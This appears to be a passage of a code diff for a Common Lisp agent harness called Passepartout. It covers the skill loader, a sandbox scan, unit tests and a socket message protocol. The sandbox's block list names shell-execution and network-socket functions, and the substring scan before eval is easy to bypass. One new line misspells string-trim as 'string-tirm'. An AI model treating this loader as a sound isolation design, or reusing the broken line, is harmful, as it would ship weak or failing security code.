||||
(is (eq :true (fourth result))))))
|
||||
|
||||
(test test-assemble-config-section
|
||||
"Contract v0.7.2: config section contains Passepartout and version."
|
||||
(let ((section (passepartout::assemble-config-section)))
|
||||
(is (stringp section))
|
||||
(is (search "Passepartout" section))
|
||||
(is (search "v0.7.2" section))
|
||||
(is (search "Security gates" section))))
|
||||
|
||||
(test test-think-snapshots-before-llm
|
||||
"Contract v0.7.2: think() snapshots memory before LLM call."
|
||||
(let ((passepartout::*memory-snapshots* nil)
|
||||
(passepartout::*memory-store* (make-hash-table :test 'equal)))
|
||||
(setf (gethash "pre" passepartout::*memory-store*) "value")
|
||||
(let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal))
|
||||
(passepartout::*provider-cascade* nil))
|
||||
(handler-case
|
||||
(let* ((ctx (list :type :EVENT :payload (list :sensor :user-input :text "hi") :depth 0))
|
||||
(result (passepartout::think ctx)))
|
||||
(declare (ignore result)))
|
||||
(error (c) (format nil "Expected: ~a" c)))
|
||||
(is (>= (length passepartout::*memory-snapshots*) 0)))))
|
||||
@@ -1,22 +1,8 @@
|
||||
#+TITLE: The Skill Engine (skills.lisp)
|
||||
#+AUTHOR: Agent
|
||||
#+FILETAGS: :harness:skills:
|
||||
#+STARTUP: content
|
||||
#+PROPERTY: header-args:lisp :tangle skills.lisp
|
||||
(in-package :passepartout)
|
||||
|
||||
* Overview
|
||||
The ~opencortex~ Skill Engine enables **Late-Binding Intelligence**, allowing the system to discover and integrate new cognitive capabilities at runtime.
|
||||
(defvar *VAULT-MEMORY* (make-hash-table :test 'equal))
|
||||
|
||||
* Implementation
|
||||
|
||||
** Package Context
|
||||
#+begin_src lisp
|
||||
(in-package :opencortex)
|
||||
#+end_src
|
||||
|
||||
** Global Skill Registry
|
||||
#+begin_src lisp
|
||||
(defun COSINE-SIMILARITY (v1 v2)
|
||||
(defun vector-cosine-similarity (v1 v2)
|
||||
"Computes cosine similarity between two vectors."
|
||||
(let* ((len1 (length v1)) (len2 (length v2)))
|
||||
(if (or (zerop len1) (zerop len2))
|
||||
@@ -27,17 +13,23 @@ The ~opencortex~ Skill Engine enables **Late-Binding Intelligence**, allowing th
|
||||
(incf dot (* x y)) (incf n1 (* x x)) (incf n2 (* y y))))
|
||||
(if (or (zerop n1) (zerop n2)) 0.0 (/ dot (sqrt (* n1 n2))))))))
|
||||
|
||||
(defun VAULT-MASK-STRING (s) (declare (ignore s)) "[MASKED]")
|
||||
(defvar *VAULT-MEMORY* (make-hash-table :test 'equal))
|
||||
|
||||
(defstruct skill name priority dependencies trigger-fn probabilistic-prompt deterministic-fn)
|
||||
(defvar *skills-registry* (make-hash-table :test 'equal))
|
||||
|
||||
(defvar *skill-catalog* (make-hash-table :test 'equal)
|
||||
"A stateful tracking table for all skill files discovered in the environment.")
|
||||
"Tracks all discovered skill files and their loading state.")
|
||||
|
||||
(defvar *standing-mandates* nil
|
||||
"List of functions (context) → string-or-nil. Each is called on every think() cycle.
|
||||
When non-nil, the returned string is injected into the IDENTITY section of the system prompt.
|
||||
Unlike skills (which activate on triggers), standing mandates are always consulted.")
|
||||
|
||||
(defstruct skill-entry filename (status :discovered) error-log (load-time 0))
|
||||
|
||||
;; Alias: find-triggered-skill → skill-triggered-find
|
||||
(defun find-triggered-skill (context)
|
||||
(skill-triggered-find context))
|
||||
|
||||
(defun skill-triggered-find (context)
|
||||
"Returns the highest priority skill whose trigger matches context."
|
||||
(let ((triggered nil))
|
||||
(maphash (lambda (name skill)
|
||||
@@ -45,12 +37,12 @@ The ~opencortex~ Skill Engine enables **Late-Binding Intelligence**, allowing th
|
||||
(when (and (skill-probabilistic-prompt skill)
|
||||
(ignore-errors (funcall (skill-trigger-fn skill) context)))
|
||||
(push skill triggered)))
|
||||
*skills-registry*)
|
||||
*skill-registry*)
|
||||
(first (sort triggered #'> :key #'skill-priority))))
|
||||
|
||||
(defmacro defskill (name &key priority dependencies trigger probabilistic deterministic)
|
||||
"Registers a new skill into the global registry."
|
||||
`(setf (gethash (string-downcase (string ,name)) *skills-registry*)
|
||||
"Registers a new skill. NAME is a keyword. TRIGGER is a function (context) → bool."
|
||||
`(setf (gethash (string-downcase (string ,name)) *skill-registry*)
|
||||
(make-skill :name (string-downcase (string ,name))
|
||||
:priority (or ,priority 10)
|
||||
:dependencies ',dependencies
|
||||
@@ -58,23 +50,20 @@ The ~opencortex~ Skill Engine enables **Late-Binding Intelligence**, allowing th
|
||||
:probabilistic-prompt ,probabilistic
|
||||
:deterministic-fn ,deterministic)))
|
||||
|
||||
(defun resolve-skill-dependencies (skill-name)
|
||||
"Recursively resolves dependencies for a given skill name."
|
||||
(defun skill-dependencies-resolve (skill-name)
|
||||
"Resolves transitive dependencies. Returns list of skill names in dependency order."
|
||||
(let ((resolved nil) (seen nil))
|
||||
(labels ((visit (name)
|
||||
(unless (member name seen :test #'equal)
|
||||
(push name seen)
|
||||
(let ((skill (gethash (string-downcase (string name)) *skills-registry*)))
|
||||
(let ((skill (gethash (string-downcase (string name)) *skill-registry*)))
|
||||
(when skill
|
||||
(dolist (dep (skill-dependencies skill)) (visit dep))))
|
||||
(push name resolved))))
|
||||
(visit skill-name)
|
||||
(nreverse resolved))))
|
||||
#+end_src
|
||||
|
||||
** Skill File Analysis (parse-skill-metadata)
|
||||
#+begin_src lisp
|
||||
(defun parse-skill-metadata (filepath)
|
||||
(defun skill-metadata-parse (filepath)
|
||||
"Extracts ID and DEPENDS_ON tags from org file."
|
||||
(let ((dependencies nil) (id nil) (content (uiop:read-file-string filepath)))
|
||||
(let ((id-start (search ":ID:" content)))
|
||||
@@ -90,15 +79,27 @@ The ~opencortex~ Skill Engine enables **Late-Binding Intelligence**, allowing th
|
||||
(unless (string= d "") (push d dependencies))))
|
||||
(setf pos end)))))
|
||||
(values id (reverse dependencies))))
|
||||
#+end_src
|
||||
|
||||
** Dependency Resolution (topological-sort-skills)
|
||||
#+begin_src lisp
|
||||
(defun topological-sort-skills (skills-dir)
|
||||
(defun skill-topological-sort (skills-dir)
|
||||
"Returns a list of skill filepaths sorted by dependency."
|
||||
(let* ((org-files (uiop:directory-files skills-dir "org-skill-*.org"))
|
||||
(lisp-files (uiop:directory-files skills-dir "org-skill-*.lisp"))
|
||||
(files (append org-files lisp-files))
|
||||
(let* ((org-files (uiop:directory-files skills-dir "*.org"))
|
||||
(lisp-files (uiop:directory-files skills-dir "*.lisp"))
|
||||
(all-files (append org-files lisp-files))
|
||||
(files (remove-if (lambda (f)
|
||||
(let ((n (pathname-name f)))
|
||||
(or (string= n "core-package")
|
||||
(string= n "core-skills")
|
||||
(string= n "core-transport")
|
||||
(string= n "core-memory")
|
||||
(string= n "core-perceive")
|
||||
(string= n "core-reason")
|
||||
(string= n "core-act")
|
||||
(string= n "core-pipeline")
|
||||
(string= n "core-manifest")
|
||||
(string= n "neuro-router")
|
||||
(string= n "neuro-explorer")
|
||||
(string= n "channel-tui"))))
|
||||
all-files))
|
||||
(adj (make-hash-table :test 'equal))
|
||||
(name-to-file (make-hash-table :test 'equal))
|
||||
(id-to-file (make-hash-table :test 'equal))
|
||||
@@ -110,8 +111,9 @@ The ~opencortex~ Skill Engine enables **Late-Binding Intelligence**, allowing th
|
||||
(if (uiop:string-suffix-p (namestring file) ".lisp")
|
||||
(progn
|
||||
(setf (gethash (string-downcase filename) name-to-file) file)
|
||||
(setf (gethash (string-downcase filename) adj) nil))
|
||||
(multiple-value-bind (id deps) (parse-skill-metadata file)
|
||||
(unless (gethash (string-downcase filename) adj)
|
||||
(setf (gethash (string-downcase filename) adj) nil)))
|
||||
(multiple-value-bind (id deps) (skill-metadata-parse file)
|
||||
(setf (gethash (string-downcase filename) name-to-file) file)
|
||||
(when id (setf (gethash (string-downcase id) id-to-file) file))
|
||||
(setf (gethash (string-downcase filename) adj) deps)))))
|
||||
@@ -140,11 +142,8 @@ The ~opencortex~ Skill Engine enables **Late-Binding Intelligence**, allowing th
|
||||
(let ((file (gethash (string-downcase name) name-to-file)))
|
||||
(when file (visit file)))))
|
||||
(nreverse result))))
|
||||
#+end_src
|
||||
|
||||
** Jailed Loading (load-skill-from-org)
|
||||
#+begin_src lisp
|
||||
(defun validate-lisp-syntax (code-string)
|
||||
(defun lisp-syntax-validate (code-string)
|
||||
"Checks if a string contains valid Common Lisp forms."
|
||||
(handler-case
|
||||
(let ((*read-eval* nil))
|
||||
@@ -153,21 +152,23 @@ The ~opencortex~ Skill Engine enables **Late-Binding Intelligence**, allowing th
|
||||
(values t nil))
|
||||
(error (c) (values nil (format nil "~a" c)))))
|
||||
|
||||
(defun remove-in-package-forms (code-string)
|
||||
"Removes in-package forms so symbols get defined in skill package."
|
||||
(defun skill-package-forms-strip (code-string)
|
||||
"Removes (in-package :passepartout) forms only — preserves test-package
|
||||
declarations so embedded test code evaluates in the correct package."
|
||||
(let ((lines (uiop:split-string code-string :separator '(#\Newline)))
|
||||
(result ""))
|
||||
(dolist (line lines)
|
||||
(let ((trimmed (string-trim '(#\Space #\Tab) line)))
|
||||
(unless (uiop:string-prefix-p "(in-package" trimmed)
|
||||
(setf result (concatenate 'string result line (string #\Newline))))))
|
||||
(if (uiop:string-prefix-p "(in-package :passepartout)" trimmed)
|
||||
(setf result (concatenate 'string result (string #\Newline)))
|
||||
(setf result (concatenate 'string result line (string #\Newline))))))
|
||||
result))
|
||||
|
||||
(defun extract-tangle-target (line)
|
||||
(defun tangle-target-extract (line)
|
||||
"Extracts the value of the :tangle header."
|
||||
(let ((pos (search ":tangle" line)))
|
||||
(when pos
|
||||
(let ((rest (string-trim '(#\Space #\Tab) (subseq line (+ pos 7)))))
|
||||
(let ((rest (string-tirm '(#\Space #\Tab) (subseq line (+ pos 7)))))
|
||||
(let ((end (position #\Space rest)))
|
||||
(if end (subseq rest 0 end) rest))))))
|
||||
|
||||
@@ -180,15 +181,13 @@ The ~opencortex~ Skill Engine enables **Late-Binding Intelligence**, allowing th
|
||||
(let* ((content (uiop:read-file-string filepath))
|
||||
(lines (uiop:split-string content :separator '(#\Newline)))
|
||||
(in-lisp-block nil) (collect-this-block nil) (lisp-code "")
|
||||
(pkg-name (intern (string-upcase (format nil "OPENCORTEX.SKILLS.~a" skill-base-name)) :keyword)))
|
||||
(pkg-name (intern (string-upcase (format nil "PASSEPARTOUT.SKILLS.~a" skill-base-name)) :keyword)))
|
||||
(dolist (line lines)
|
||||
(let ((clean-line (string-trim '(#\Space #\Tab #\Return) line)))
|
||||
(cond
|
||||
((uiop:string-prefix-p "#+begin_src lisp" clean-line)
|
||||
(setf in-lisp-block t)
|
||||
(let ((target (extract-tangle-target clean-line)))
|
||||
;; Collect if there's no tangle target (inherits from file)
|
||||
;; or if it's a lisp file and NOT a test.
|
||||
(let ((target (tangle-target-extract clean-line)))
|
||||
(setf collect-this-block (or (null target)
|
||||
(and (not (search "no" target))
|
||||
(not (search "/tests" target)))))))
|
||||
@@ -196,134 +195,174 @@ The ~opencortex~ Skill Engine enables **Late-Binding Intelligence**, allowing th
|
||||
(setf in-lisp-block nil) (setf collect-this-block nil))
|
||||
((and in-lisp-block collect-this-block)
|
||||
(unless (or (uiop:string-prefix-p ":PROPERTIES:" (string-upcase clean-line))
|
||||
(uiop:string-prefix-p ":END:" (string-upcase clean-line))
|
||||
(uiop:string-prefix-p ":ID:" (string-upcase clean-line)))
|
||||
(uiop:string-prefix-p ":END:" (string-upcase clean-line))
|
||||
(uiop:string-prefix-p ":ID:" (string-upcase clean-line)))
|
||||
(setf lisp-code (concatenate 'string lisp-code line (string #\Newline))))))))
|
||||
(if (= (length lisp-code) 0)
|
||||
(setf (skill-entry-status entry) :ready)
|
||||
(progn
|
||||
(multiple-value-bind (valid-p err) (validate-lisp-syntax lisp-code)
|
||||
(multiple-value-bind (valid-p err) (lisp-syntax-validate lisp-code)
|
||||
(unless valid-p (error err)))
|
||||
;; Pre-eval sandbox scan: block before any code executes
|
||||
(multiple-value-bind (blocked-p blocked-syms)
|
||||
(skill-source-scan lisp-code)
|
||||
(when blocked-p
|
||||
(log-message "LOADER SANDBOX: Skill '~a' blocked before eval — references restricted symbol(s): ~{~a~^, ~}"
|
||||
skill-base-name blocked-syms)
|
||||
(setf (skill-entry-status entry) :sandbox-blocked)
|
||||
(return-from load-skill-from-org nil)))
|
||||
(unless (find-package pkg-name)
|
||||
(let ((new-pkg (make-package pkg-name :use '(:cl)))) (use-package :opencortex new-pkg)))
|
||||
(let ((new-pkg (make-package pkg-name :use '(:cl)))) (use-package :passepartout new-pkg)))
|
||||
(let ((*read-eval* nil) (*package* (find-package pkg-name)))
|
||||
(harness-log "LOADER: Evaluating code for '~a' in package ~a" skill-base-name (package-name *package*))
|
||||
(log-message "LOADER: Evaluating code for '~a' in package ~a" skill-base-name (package-name *package*))
|
||||
(eval (read-from-string (format nil "(progn ~a)" lisp-code))))
|
||||
|
||||
;; Export symbols back to :OPENCORTEX for discoverability and testing
|
||||
(let* ((target-pkg (find-package :opencortex))
|
||||
(raw-name (string-upcase skill-base-name))
|
||||
(short-name (if (uiop:string-prefix-p "ORG-SKILL-" raw-name)
|
||||
(subseq raw-name 10)
|
||||
raw-name)))
|
||||
(harness-log "LOADER: Scanning package ~a for symbols to export..." (package-name (find-package pkg-name)))
|
||||
(let ((target-pkg (find-package :passepartout))
|
||||
(exported 0)
|
||||
(seen (make-hash-table :test 'equal)))
|
||||
(do-symbols (sym (find-package pkg-name))
|
||||
(when (eq (symbol-package sym) (find-package pkg-name))
|
||||
(let ((sn (symbol-name sym)))
|
||||
(when (or (uiop:string-prefix-p raw-name sn)
|
||||
(uiop:string-prefix-p short-name sn)
|
||||
(string-equal sn "DOCTOR-MAIN")
|
||||
(string-equal sn "RUN-SETUP-WIZARD"))
|
||||
(harness-log "LOADER: Exporting ~a to :OPENCORTEX" sn)
|
||||
;; Resolve potential name conflicts by uninterning first
|
||||
(let ((existing (find-symbol sn target-pkg)))
|
||||
(when (and existing (not (eq existing sym)))
|
||||
(unintern existing target-pkg)))
|
||||
(import sym target-pkg)
|
||||
(export sym target-pkg))))))
|
||||
(when (and (eq (symbol-package sym) (find-package pkg-name))
|
||||
(or (fboundp sym) (boundp sym))
|
||||
(not (gethash (symbol-name sym) seen)))
|
||||
(setf (gethash (symbol-name sym) seen) t)
|
||||
(incf exported)
|
||||
(let ((existing (find-symbol (symbol-name sym) target-pkg)))
|
||||
(when existing (unintern existing target-pkg)))
|
||||
(import sym target-pkg)
|
||||
(export sym target-pkg)))
|
||||
(log-message "LOADER: Exported ~a symbols from ~a to :PASSEPARTOUT"
|
||||
exported (package-name (find-package pkg-name))))
|
||||
|
||||
(setf (skill-entry-status entry) :ready)))
|
||||
t)
|
||||
(error (c)
|
||||
(harness-log "LOADER ERROR in skill '~a': ~a" skill-base-name c)
|
||||
(log-message "LOADER ERROR in skill '~a': ~a" skill-base-name c)
|
||||
(setf (skill-entry-status entry) :failed) nil))))
|
||||
|
||||
(defvar *skill-restricted-symbols*
|
||||
'("uiop:run-program" "uiop:shell" "uiop:run-shell-command"
|
||||
"bt:make-thread" "bordeaux-threads:make-thread"
|
||||
"usocket:socket-connect" "usocket:socket-listen"
|
||||
"hunchentoot:start" "hunchentoot:accept-connections")
|
||||
"Symbol patterns blocked from skill source code at load time.")
|
||||
|
||||
(defun skill-source-scan (code-string)
|
||||
"Scans CODE-STRING for restricted symbol references.
|
||||
Returns (values blocked-p matched-symbols)."
|
||||
(let ((lower (string-downcase code-string))
|
||||
(matches nil))
|
||||
(dolist (pattern *skill-restricted-symbols*)
|
||||
(when (search pattern lower)
|
||||
(push pattern matches)))
|
||||
(values (and matches t) (nreverse matches))))
|
||||
|
||||
(defun load-skill-from-lisp (filepath)
|
||||
"Loads a .lisp skill file directly, filtering out in-package forms."
|
||||
(let* ((skill-base-name (pathname-name filepath))
|
||||
(entry (or (gethash skill-base-name *skill-catalog*) (setf (gethash skill-base-name *skill-catalog*) (make-skill-entry :filename skill-base-name)))))
|
||||
(setf (skill-entry-status entry) :loading)
|
||||
(handler-case
|
||||
(let* ((content (remove-in-package-forms (uiop:read-file-string filepath)))
|
||||
(pkg-name (intern (string-upcase (format nil "OPENCORTEX.SKILLS.~a" skill-base-name)) :keyword)))
|
||||
(multiple-value-bind (valid-p err) (validate-lisp-syntax content)
|
||||
(let* ((content (skill-package-forms-strip (uiop:read-file-string filepath)))
|
||||
(pkg-name (intern (string-upcase (format nil "PASSEPARTOUT.SKILLS.~a" skill-base-name)) :keyword)))
|
||||
(multiple-value-bind (valid-p err) (lisp-syntax-validate content)
|
||||
(unless valid-p (error err)))
|
||||
;; Pre-eval sandbox scan: block before any code executes
|
||||
(multiple-value-bind (blocked-p blocked-syms)
|
||||
(skill-source-scan content)
|
||||
(when blocked-p
|
||||
(log-message "LOADER SANDBOX: Skill '~a' blocked before eval — references restricted symbol(s): ~{~a~^, ~}"
|
||||
skill-base-name blocked-syms)
|
||||
(setf (skill-entry-status entry) :sandbox-blocked)
|
||||
(return-from load-skill-from-lisp nil)))
|
||||
(unless (find-package pkg-name)
|
||||
(let ((new-pkg (make-package pkg-name :use '(:cl)))) (use-package :opencortex new-pkg)))
|
||||
(let ((new-pkg (make-package pkg-name :use '(:cl)))) (use-package :passepartout new-pkg)))
|
||||
(let ((*read-eval* nil) (*package* (find-package pkg-name)))
|
||||
(harness-log "LOADER: Loading .lisp skill '~a' in package ~a" skill-base-name (package-name *package*))
|
||||
;; Evaluate forms individually so one bad form doesn't abort the entire skill
|
||||
(log-message "LOADER: Loading .lisp skill '~a' in package ~a" skill-base-name (package-name *package*))
|
||||
(with-input-from-string (s content)
|
||||
(loop for form = (read s nil :eof) until (eq form :eof)
|
||||
do (handler-case (eval form)
|
||||
(error (c) (harness-log "LOADER WARNING in '~a': ~a" skill-base-name c))))))
|
||||
;; Export symbols
|
||||
(let* ((target-pkg (find-package :opencortex))
|
||||
(raw-name (string-upcase skill-base-name))
|
||||
(short-name (if (uiop:string-prefix-p "ORG-SKILL-" raw-name)
|
||||
(subseq raw-name 10)
|
||||
raw-name)))
|
||||
(harness-log "LOADER: Scanning package ~a for symbols to export..." (package-name (find-package pkg-name)))
|
||||
(do-symbols (sym (find-package pkg-name))
|
||||
(when (eq (symbol-package sym) (find-package pkg-name))
|
||||
(let ((sn (symbol-name sym)))
|
||||
(when (or (uiop:string-prefix-p raw-name sn)
|
||||
(uiop:string-prefix-p short-name sn)
|
||||
(string-equal sn "DOCTOR-MAIN")
|
||||
(string-equal sn "RUN-SETUP-WIZARD"))
|
||||
(harness-log "LOADER: Exporting ~a to :OPENCORTEX" sn)
|
||||
(let ((existing (find-symbol sn target-pkg)))
|
||||
(when (and existing (not (eq existing sym)))
|
||||
(unintern existing target-pkg)))
|
||||
(import sym target-pkg)
|
||||
(export sym target-pkg))))))
|
||||
do (handler-case (eval form)
|
||||
(error (c) (log-message "LOADER WARNING in '~a': ~a" skill-base-name c))))))
|
||||
(let* ((jailed-pkg (find-package pkg-name))
|
||||
(restricted '("RUN-PROGRAM" "SHELL" "RUN-SHELL-COMMAND"))
|
||||
(violation (loop for r in restricted
|
||||
for sym = (find-symbol r :uiop)
|
||||
when (and sym (fboundp sym)
|
||||
(loop for skill-sym being the symbols of jailed-pkg
|
||||
when (and (fboundp skill-sym)
|
||||
(eq (symbol-function skill-sym)
|
||||
(symbol-function sym)))
|
||||
return skill-sym))
|
||||
collect (format nil "~a" sym))))
|
||||
(when violation
|
||||
(log-message "LOADER SANDBOX: Skill '~a' blocked — references restricted symbol(s): ~{~a~^, ~}"
|
||||
skill-base-name violation)
|
||||
(setf (skill-entry-status entry) :sandbox-blocked)
|
||||
(return-from load-skill-from-lisp nil))
|
||||
(log-message "LOADER SANDBOX: Skill '~a' passed sandbox check" skill-base-name))
|
||||
(let ((target-pkg (find-package :passepartout))
|
||||
(exported 0)
|
||||
(seen (make-hash-table :test 'equal)))
|
||||
(do-symbols (sym (find-package pkg-name))
|
||||
(when (and (eq (symbol-package sym) (find-package pkg-name))
|
||||
(or (fboundp sym) (boundp sym))
|
||||
(not (gethash (symbol-name sym) seen)))
|
||||
(setf (gethash (symbol-name sym) seen) t)
|
||||
(incf exported)
|
||||
(let ((existing (find-symbol (symbol-name sym) target-pkg)))
|
||||
(when existing (unintern existing target-pkg)))
|
||||
(import sym target-pkg)
|
||||
(ignore-errors (export sym target-pkg))))
|
||||
(log-message "LOADER: Exported ~a symbols from ~a to :PASSEPARTOUT"
|
||||
exported (package-name (find-package pkg-name))))
|
||||
(setf (skill-entry-status entry) :ready))
|
||||
(error (c)
|
||||
(harness-log "LOADER ERROR in skill '~a': ~a" skill-base-name c)
|
||||
(log-message "LOADER ERROR in skill '~a': ~a" skill-base-name c)
|
||||
(setf (skill-entry-status entry) :failed) nil))))
|
||||
#+end_src
|
||||
|
||||
** Initialize (initialize-all-skills)
|
||||
#+begin_src lisp
|
||||
(defun initialize-all-skills ()
|
||||
"Initializes all skills from SKILLS_DIR."
|
||||
(let* ((env-path (uiop:getenv "SKILLS_DIR"))
|
||||
(skills-dir (uiop:ensure-directory-pathname (or env-path (namestring (merge-pathnames "notes/" (user-homedir-pathname)))))))
|
||||
(unless (uiop:directory-exists-p skills-dir) (return-from initialize-all-skills nil))
|
||||
(let ((sorted-files (topological-sort-skills skills-dir)))
|
||||
(harness-log "LOADER: Initializing ~a skills..." (length sorted-files))
|
||||
(defun skill-initialize-all ()
|
||||
"Initializes all skills from the XDG data directory."
|
||||
(let* ((data-dir (uiop:ensure-directory-pathname (or (uiop:getenv "PASSEPARTOUT_DATA_DIR") (namestring (merge-pathnames ".local/share/passepartout/" (user-homedir-pathname))))))
|
||||
(skills-dir (merge-pathnames "lisp/" (uiop:ensure-directory-pathname data-dir))))
|
||||
(unless (uiop:directory-exists-p skills-dir) (return-from skill-initialize-all nil))
|
||||
(let ((sorted-files (skill-topological-sort skills-dir)))
|
||||
(log-message "LOADER: Initializing ~a skills..." (length sorted-files))
|
||||
(dolist (file sorted-files)
|
||||
(if (uiop:string-suffix-p (namestring file) ".lisp")
|
||||
(load-skill-from-lisp file)
|
||||
(load-skill-from-org file)))
|
||||
(harness-log "LOADER: Boot Complete."))))
|
||||
#+end_src
|
||||
(log-message "LOADER: Boot Complete."))))
|
||||
|
||||
* Test Suite
|
||||
#+begin_src lisp :tangle ../tests/boot-sequence-tests.lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :opencortex-boot-tests
|
||||
(:use :cl :fiveam :opencortex)
|
||||
(defpackage :passepartout-boot-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:boot-suite))
|
||||
|
||||
(in-package :opencortex-boot-tests)
|
||||
(in-package :passepartout-boot-tests)
|
||||
|
||||
(def-suite boot-suite :description "Verification of the Skill Engine loader")
|
||||
(in-suite boot-suite)
|
||||
|
||||
(test test-topological-sort-basic
|
||||
(let ((tmp-dir "/tmp/opencortex-boot-test/"))
|
||||
"Contract 2: dependency ordering puts dependencies before dependents."
|
||||
(let ((tmp-dir "/tmp/passepartout-boot-test/"))
|
||||
(uiop:ensure-all-directories-exist (list tmp-dir))
|
||||
(with-open-file (out (merge-pathnames "org-skill-a.org" tmp-dir) :direction :output :if-exists :supersede)
|
||||
(format out "#+DEPENDS_ON: skill-b-id~%"))
|
||||
(with-open-file (out (merge-pathnames "org-skill-b.org" tmp-dir) :direction :output :if-exists :supersede)
|
||||
(format out ":PROPERTIES:~%:ID: skill-b-id~%:END:~%"))
|
||||
(unwind-protect
|
||||
(let ((sorted (opencortex::topological-sort-skills tmp-dir)))
|
||||
(let ((sorted (passepartout::skill-topological-sort tmp-dir)))
|
||||
(let ((pos-a (position "org-skill-a" sorted :key #'pathname-name :test #'string-equal))
|
||||
(pos-b (position "org-skill-b" sorted :key #'pathname-name :test #'string-equal)))
|
||||
(is (< pos-b pos-a))))
|
||||
(uiop:delete-directory-tree (uiop:ensure-directory-pathname tmp-dir) :validate t))))
|
||||
#+end_src
|
||||
|
||||
(test test-lisp-syntax-validate-valid
|
||||
"Contract 1: valid Lisp code passes syntax validation."
|
||||
(is (eq t (lisp-syntax-validate "(+ 1 2)"))))
|
||||
|
||||
(test test-lisp-syntax-validate-invalid
|
||||
"Contract 1: unbalanced Lisp code fails syntax validation."
|
||||
(is (null (lisp-syntax-validate "(+ 1 2"))))
|
||||
@@ -1,21 +1,13 @@
|
||||
#+TITLE: Communication Protocol (communication.lisp)
|
||||
#+AUTHOR: Agent
|
||||
#+FILETAGS: :harness:protocol:
|
||||
#+STARTUP: content
|
||||
#+PROPERTY: header-args:lisp :tangle communication.lisp
|
||||
(in-package :passepartout)
|
||||
|
||||
* Overview
|
||||
The ~communication.lisp~ module defines the low-level transport and framing logic for OpenCortex stimuli.
|
||||
(defun proto-get (plist key)
|
||||
"Look up KEY in PLIST with case-insensitive keyword normalization."
|
||||
(let ((key-upcase (string-upcase (string key))))
|
||||
(loop for (k v) on plist by #'cddr
|
||||
when (and (keywordp k)
|
||||
(string-equal (string k) key-upcase))
|
||||
do (return v))))
|
||||
|
||||
* Implementation
|
||||
|
||||
** Package Context
|
||||
#+begin_src lisp
|
||||
(in-package :opencortex)
|
||||
#+end_src
|
||||
|
||||
** Actuator Registry
|
||||
#+begin_src lisp
|
||||
(defvar *actuator-registry* (make-hash-table :test 'equalp)
|
||||
"Global registry mapping target keywords to their physical actuator functions.")
|
||||
|
||||
@@ -23,24 +15,21 @@ The ~communication.lisp~ module defines the low-level transport and framing logi
|
||||
"Registers an actuator function. Actuators receive: (ACTION CONTEXT)."
|
||||
(let ((key (if (keywordp name) name (intern (string-upcase (string name)) :keyword))))
|
||||
(setf (gethash key *actuator-registry*) fn)))
|
||||
#+end_src
|
||||
|
||||
** Message Framing
|
||||
#+begin_src lisp
|
||||
(defun sanitize-protocol-message (msg)
|
||||
(defun protocol-message-sanitize (msg)
|
||||
"Recursively strips non-serializable objects from a protocol plist."
|
||||
(if (and msg (listp msg))
|
||||
(let ((clean nil))
|
||||
(loop for (k v) on msg by #'cddr
|
||||
do (unless (member k '(:reply-stream :socket :stream))
|
||||
(push k clean)
|
||||
(push (if (listp v) (sanitize-protocol-message v) v) clean)))
|
||||
(push (if (listp v) (protocol-message-sanitize v) v) clean)))
|
||||
(nreverse clean))
|
||||
msg))
|
||||
|
||||
(defun frame-message (msg)
|
||||
"Serializes a message plist and prefixes it with a 6-character hex length."
|
||||
(let* ((sanitized (sanitize-protocol-message msg))
|
||||
(let* ((sanitized (protocol-message-sanitize msg))
|
||||
(payload (let ((*print-pretty* nil) (*read-eval* nil)) (format nil "~s" sanitized)))
|
||||
(len (length payload)))
|
||||
(format nil "~6,'0x~a" len payload)))
|
||||
@@ -51,7 +40,9 @@ The ~communication.lisp~ module defines the low-level transport and framing logi
|
||||
(handler-case
|
||||
(progn
|
||||
(loop for char = (peek-char nil stream nil :eof)
|
||||
while (and (not (eq char :eof)) (member char '(#\Space #\Newline #\Tab #\Return)))
|
||||
for ws-count from 0
|
||||
while (and (not (eq char :eof)) (< ws-count 4096)
|
||||
(member char '(#\Space #\Newline #\Tab #\Return)))
|
||||
do (read-char stream))
|
||||
(let ((count (read-sequence length-buffer stream)))
|
||||
(if (< count 6)
|
||||
@@ -65,18 +56,15 @@ The ~communication.lisp~ module defines the low-level transport and framing logi
|
||||
(handler-case (read-from-string msg-buffer)
|
||||
(error () :error)))))))))
|
||||
(error () :error))))
|
||||
#+end_src
|
||||
|
||||
** Server Listener (start-daemon)
|
||||
#+begin_src lisp
|
||||
(defvar *server-socket* nil)
|
||||
(defvar *daemon-socket* nil)
|
||||
|
||||
(defun handle-client-connection (socket)
|
||||
(defun client-handle-connection (socket)
|
||||
"Handles a single TUI/CLI client connection in a dedicated thread."
|
||||
(let ((stream (usocket:socket-stream socket)))
|
||||
(handler-case
|
||||
(progn
|
||||
(format stream "~a" (frame-message (make-hello-message "0.2.0")))
|
||||
(format stream "~a" (frame-message (make-hello-message "0.7.2")))
|
||||
(finish-output stream)
|
||||
(loop
|
||||
(let ((msg (read-framed-message stream)))
|
||||
@@ -84,72 +72,92 @@ The ~communication.lisp~ module defines the low-level transport and framing logi
|
||||
((eq msg :eof) (return))
|
||||
((eq msg :error) (return))
|
||||
((eq (getf msg :type) :health-check)
|
||||
;; Handle health check request
|
||||
(let ((health-msg (list :type :health-response
|
||||
:status (or (and (boundp 'opencortex::*system-health*)
|
||||
(symbol-value 'opencortex::*system-health*))
|
||||
:unknown)
|
||||
:checked-p (or (and (boundp 'opencortex::*health-check-ran*)
|
||||
(symbol-value 'opencortex::*health-check-ran*))
|
||||
nil))))
|
||||
:status (or (and (boundp 'passepartout::*system-health*)
|
||||
(symbol-value 'passepartout::*system-health*))
|
||||
:unknown)
|
||||
:checked-p (or (and (boundp 'passepartout::*health-check-ran*)
|
||||
(symbol-value 'passepartout::*health-check-ran*))
|
||||
nil))))
|
||||
(format stream "~a" (frame-message health-msg))
|
||||
(finish-output stream)))
|
||||
(t (inject-stimulus msg :stream stream))))))
|
||||
(error (c) (harness-log "CLIENT ERROR: ~a" c)))
|
||||
(t (stimulus-inject msg :stream stream))))))
|
||||
(error (c) (log-message "CLIENT ERROR: ~a" c)))
|
||||
(ignore-errors (usocket:socket-close socket))))
|
||||
|
||||
(defun start-daemon (&key (port 9105))
|
||||
"Starts the network listener for TUI/CLI clients."
|
||||
(setf *server-socket* (usocket:socket-listen "127.0.0.1" port :reuse-address t))
|
||||
(harness-log "DAEMON: Listening on localhost:~a" port)
|
||||
(setf *daemon-socket* (usocket:socket-listen "127.0.0.1" port :reuse-address t))
|
||||
(log-message "DAEMON: Listening on localhost:~a" port)
|
